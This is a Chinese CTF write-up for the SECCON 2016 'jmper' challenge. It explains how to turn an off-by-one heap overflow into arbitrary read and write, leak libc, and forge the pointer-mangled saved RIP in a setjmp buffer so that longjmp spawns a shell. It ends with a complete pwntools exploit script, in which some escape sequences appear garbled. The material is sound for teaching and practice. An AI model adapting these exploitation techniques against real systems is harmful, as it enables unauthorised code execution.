• Pwn With longjmp


    前言

    这个是 seccon-ctf-quals-2016 的一个题,利用方式还是挺特殊的记录一下。

    题目链接

    http://t.cn/RnfeHLv
    

    正文

    首先看看程序的安全措施

    haclh@ubuntu:~/workplace/jmper$ checksec jmper 
    [*] '/home/haclh/workplace/jmper/jmper'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE
    
    

    开了 Full RELRO, 所以不能修改 got 表了。

    paste image

    分配了两个大内存,一个作为一个全局表,用于存放程序中用的结构体指针, 一个作为 jmpbuf, 用于在 longjmp 时跳转回来。

    接下来就是 f 函数,程序主要的逻辑在这里面。

    ** Add student**

    paste image

    最多的可以创建 0x1dstudent, 如果已经创建满了的话就 longjmp 返回到 main 函数结束程序。创建时会分配两个堆内存。
    结构体类型大概为

    paste image

    分配第一个 student 时的 内存布局为

    paste image

    ** Name student**

    paste image

    输入 id, 然后在 myclass 里面找到相应的地址,取出 name_ptr ,向里面写入内容,注意循环条件

    for ( i = 0; i <= 0x20; ++i )
    
    

    我们可以写入 0x21 个字节,我们分配的内存为 0x20, 可以有 一字节的 溢出,不过这里我们不能控制 分配的大小以及 释放堆块, 无法使用 overlap-heap 利用。继续往下看。

    Write memo

    paste image

    类似的操作,依旧可以溢出 memo 的 一个字节, 在 memo 后面存放的是 name_ptr 所以我们可以修改 name_ptr 的最低字节.

    有一个小知识,如果内存分配的顺序大小不变,各个内存块相对于堆基地址的偏移是固定的,所以修改 name_ptr 的最低字节,我们可以使得 name_ptr 指向和 它距离较近的堆块。

    这里的话直接修改为下一个堆块的 name_ptr 的地址, 然后利用 name student 就可以修改下一个堆块的 name_ptr,再利用后面的  Show Name 功能就可以实现 任意地址读写。

    paste image

    paste image

    以后通过

    set_name(0, p64(addr))  
    getname(1)
    

    就可以实现任意地址读

    通过

    set_name(0, p64(addr))  
    set_name(1, data)
    

    就可以实现任意地址写

    现在的问题是往哪写,写什么。

    当新增的student的人数到限制后,会调用longjmp, 我们来看看 调用 longjmp 时做了什么

    paste image

    进入函数时 rdijmpbuf  的地址,可以看到,在 jmpbuf + 0x38 处存放了加密后的 rip, 进入 longjmp会先解密 出 rip 然后跳转。

    mov     rdx, [rdi+38h]
    ror     rdx, 11h
    xor     rdx, fs:30h
    

    jmpbuf 在堆中,如果我们可以 拿到 fs:30h 然后修改 jmpbuf + 0x38 ,我们就可以控制执行流了。

    longjmp 跳转的地址其实就是 调用 setjmp 的下一条指令(0x400C31

    paste image

    又由于 xor 是可逆的,所以我们可以通过

    mov     rdx, [rdi+38h]
    ror     rdx, 11h
    xor     rdx, 0x400C31
    
    

    得到 fs:30h

    paste image

    至于重新的加密 rip 的过程,可以看 setjmp 的实现

    paste image

    所以总的利用思路

    • 利用 off-by-one 获取任意地址读写的能力
    • 利用 student 2name_ptr 泄露堆地址
    • 获取 jmpbuf + 0x38 的值,计算 fs:30h 的值
    • 重新计算值写入 jmpbuf + 0x38 , 同时往 jmpbuf 开头写入 ``/bin/shx00

    参考

    https://github.com/ctfs/write-ups-2016/tree/master/seccon-ctf-quals-2016/exploit/cheer-msg-100

    最后的 exp:

    #/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    from pwn import *
    
    # context.terminal = ['tmux', 'splitw', '-h']
    context(os='linux', arch='amd64', log_level='info')
    p = process("./jmper")
    
    
    def ror(reg, count):
        src = bin(reg)[2:]
        src = "0" * (64 - len(src)) + src
        # print(src)
        # print(src[-count:] + ":::" + src[:64 - count])
        return int(src[-count:] + src[:64 - count],2)
    
    def rol(reg, count):
        src = bin(reg)[2:]
        src = "0" * (64 - len(src)) + src
        # print(src)
        # print(src[:count] + ":::" + src[count:])
        # print(src[count:] + src[:count])
        return int(src[count:] + src[:count],2)
    
    def add():
      p.recvuntil("Bye :)")
      p.sendline("1")
    
    def set_name(index, name):
      p.recvuntil("Bye :)")
      p.sendline("2")
      p.recvuntil("ID:")
      p.sendline(str(index))
      p.recvuntil("Input name:")
      p.sendline(name)
    
    def write_memo(index, data):
      p.recvuntil("Bye :)")
      p.sendline("3")
      p.recvuntil("ID:")
      p.sendline(str(index))
      p.recvuntil("Input memo:")
      p.sendline(data)
    
    
    def getname(index):
      p.recvuntil("Bye :)")
      p.sendline("4")
      p.recvuntil("ID:")
      p.sendline(str(index))
    
    gdb.attach(p,'''
    # bp 0x0400B03
    # bp __sigsetjmp
    c
      ''')
    
    pause()
    
    
    add()  # get stu 0
    set_name(0, "/bin/shx00")
    write_memo(0, "b"*8)
    
    
    add()  # get stu 1
    set_name(1, "c"*8)
    write_memo(1, "d"*8)
    
    
    write_memo(0, "b"*32 + "x78")  # 设置 student0 的 name_ptr 指向 student1 的 name_ptr 的位置
    log.info("此时 0's name_ptr--> 1's name_ptr的地址")
    pause()
    
    getname(0)
    heap = u64(p.recv(3) + "x00" * 5) - 656
    log.info("heap的基地址: " + hex(heap))
    pause()
    
    set_name(0, p64(0x0601FA8+1))   
    log.info("1's name_ptr ---> printf@got+1")
    pause()
    
    getname(1)
    printf_addr = u64("x00" + p.recv(5) + "x00" * 2)
    libc = printf_addr - 350208
    system = libc + 283536
    longjmp = libc + 0x352F0
    
    
    log.info("libc: " + hex(libc))
    log.info("system: " + hex(system))
    log.info("longjmp: " + hex(longjmp))
    pause()
    
    
    jmpbuf = heap + 0x110
    saved_rip_addr = jmpbuf + 0x38
    
    
    # 获取 saved_rip_addr 处的数据
    set_name(0, p64(saved_rip_addr))  
    getname(1)
    saved_rip = u64(p.recv(8))
    xor_key = ror(saved_rip, 0x11) ^ 0x400C31
    
    new_saved_rip = rol(system ^ xor_key, 0x11) 
    
    log.info("saved_rip: " + hex(saved_rip))
    log.info("xor_key: " + hex(xor_key))
    log.info("new saved_rip: " + hex(new_saved_rip) )
    pause()
    
    set_name(1,p64(new_saved_rip))
    
    set_name(0, p64(jmpbuf))  
    set_name(1,"/bin/shx00")
    
    log.info("set jmpbuf: /bin/shx00.....")
    pause()
    
    
    for x in xrange(0x1e - 2):
      add()
    
    log.info("call longjmp")
    pause()
    add()
    p.interactive()
    
    
  • 相关阅读:
    try catch 和\或 finally 的用法
    postgresql与oracle对比
    今天遇到个let: not found
    NTLM相关
    【搜藏】net use命令拓展
    【shell进阶】字符串操作
    【网摘】网上邻居用户密码
    测试导航
    关系代数合并数据 left join
    真正的程序员
  • 原文地址:https://www.cnblogs.com/hac425/p/9416813.html
Copyright © 2020-2023  润新知